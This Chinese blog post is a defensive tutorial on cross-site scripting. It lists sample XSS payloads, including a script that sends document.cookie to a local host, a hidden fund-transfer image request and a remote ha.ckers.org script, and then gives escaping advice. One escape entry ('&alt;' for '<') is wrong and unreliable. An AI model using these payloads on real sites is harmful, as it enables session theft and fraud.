如何防范XSS攻击

只要功能不是太过单一的网站,就肯定会有需要用户输入的地方,即使是最简单的登录,也是需要用户输入的地方。


但是并不是每一个网站都对用户的输入进行了防范。


言外之意,用户的输入可能对网站的安全性构成威胁,这是怎么回事呢?


这就涉及到一个专业名词了:XSS


XSS(360百科)


扫描二维码关注公众号,回复: 1466900 查看本文章

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。


▍通俗来说


通俗点说,就是通过在css或者html里嵌入一些恶意的Javascript代码,从而实现恶意攻击的目的。


那么这些Javascript代码又是如何嵌入进去的呢?


XSS方式


1、 输入框中直接输入恶意脚本,如:


"><script>alert(document.cookie)</script>

或者

<script>document.location.href = 'http://127.0.0.1:9090/xss?foo=' + document.cookie</script>

2、输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css,style等。


<img src="javascript:alert('XSS');" />

 
 
 
 
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<body background="javascript:alert('XSS');"></body>
<style>
    li{
        list-style-image: url("javascript:alert('XSS');");
    }
</style>

<li>XSS</li>

3、将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

 
 
<a onmouseover="alert(document.cookie)">
     xxslink
</a>

4、在remote style sheet,javascript中,如


<link rel="stylesheet" href="javascript:alert('XSS');" />
<script src="http://ha.ckers.org/xss.js"></script>

5、meta标签,如

<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" />

▍切记切记


用于不要把任何来自用户的内容放到下面这些地方:


script标签:<script> not here </script>


html注释:<!-- not here -->


标签名:<nothere href="/test.html" />


属性:<div nothere="nothere" />


css值:{color : not here}


▍防范方法


网上防范XSS攻击的方法一搜就一大堆,但是无论方法有多少,始终是万变不离其宗。


1、转义用户的内容


a、HTML:对以下这些字符进行转义:


  • &:&amp;

  • <:&alt;

  • >:&gt;

  • ':&#x27;

  • ":&quot;

  • /:&#x2F;


b、Javascript:把所有非字母、数字的字符都转义成小于256的ASCII字符;


c、URL:使用Javascript的encodeURIComponent()方法对用户的输入进行编码,该方法会编码如下字符:,      /      ?     :     @     &     =     +     $     #


2、添加用户生成的内容


a、Javascript:使用textContent或者innerText,而不能使用innerHTML;


b、jquery:使用text(),而不能使用html();


▍我是尾巴


目前自己的个人博客也在创建中,博客可能会开通留言功能,这样的话英雄就有用武之地了。

猜你喜欢

转载自blog.csdn.net/i_dont_know_a/article/details/80560940